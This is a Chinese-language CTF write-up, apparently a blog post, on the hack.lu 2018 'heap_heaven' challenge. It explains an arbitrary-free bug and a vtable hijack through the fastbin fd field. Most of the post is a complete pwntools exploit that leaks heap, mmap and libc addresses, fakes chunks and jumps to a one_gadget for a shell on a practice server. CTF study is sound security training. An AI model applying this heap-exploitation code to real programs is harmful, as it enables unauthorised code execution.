hack_lu_2018_heap_heaven

161 篇文章 9 订阅
161 篇文章 9 订阅

hack_lu_2018_heap_heaven

首先,检查一下程序的保护机制

然后我们用IDA分析一下,这个free没有检查范围,因此可以任意地址free。

我们只要想办法free掉state,然后控制funcs指针,即可执行任意代码

但是程序中我们不能自己malloc,因此无法将其再申请回来进行控制。查看state结构体

其位置与堆块的fd位置一样,因此,我们首先在fastbin里放一个chunk,然后再free掉state,这样,funcs就指向了第一个chunk,而funcs是一个虚表指针,因此,我们只需在第一个chunk里事先伪造好虚表即可。

而show功能,其使用的是*v2,因此,我们free掉一个unsorted bin范围的chunk,那么puts(*v2)也就是puts(main_arena_88),可以泄露出top chunk的地址,从而可以得到state的地址,然后再利用edit低字节覆盖指针,继续泄露libc地址等。

#coding:utf8
from pwn import *

#sh = process('./hack_lu_2018_heap_heaven',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',27447)
libc = ELF('./libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf02a4

def edit(offset,size,payload):
   sh.sendlineafter('[5] : exit','1')
   sh.sendlineafter('write?',str(size))
   sh.sendlineafter('offset?',str(offset))
   sleep(0.1)
   sh.send(payload)

def delete(offset):
   sh.sendlineafter('[5] : exit','3')
   sh.sendlineafter('free?',str(offset))

def show(offset):
   sh.sendlineafter('[5] : exit','4')
   sh.sendlineafter('leak?',str(offset))

fake_chunk = p64(0) + p64(0x91)
fake_chunk += 'a'*0x80
fake_chunk += p64(0) + p64(0x21)
fake_chunk += 'b'*0x10
fake_chunk += p64(0) + p64(0x21)
fake_chunk += 'c'*0x10
edit(0,len(fake_chunk),fake_chunk)

delete(0x10)
show(0x10)
sh.recvuntil('\n')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0x10,1,p8(0x89))
show(0x10)
sh.recvuntil('\n')
mmap_addr = u64('\x00' + sh.recvuntil('\n',drop = True).ljust(7,'\x00'))
print 'mmap_addr=',hex(mmap_addr)
edit(0x10,1,p8(0x98))
show(0x10)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)

fake_chunk = p64(0) + p64(0x21)
fake_chunk += 'a'*0x10
fake_chunk += p64(0) + p64(0x21)
fake_chunk += 'b'*0x10
edit(0,len(fake_chunk),fake_chunk)
#放入一个chunk到fastbin
delete(0x10)
edit(0x8,8,p64(one_gadget_addr)) #布置虚表指针

state_addr = heap_addr - 0x30
delete(state_addr - mmap_addr) #将fake_chunk连接到state的fd处,也就是覆盖了原来的虚表指针,指向我们可以控制的地方,布下了one_gadget函数指针

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值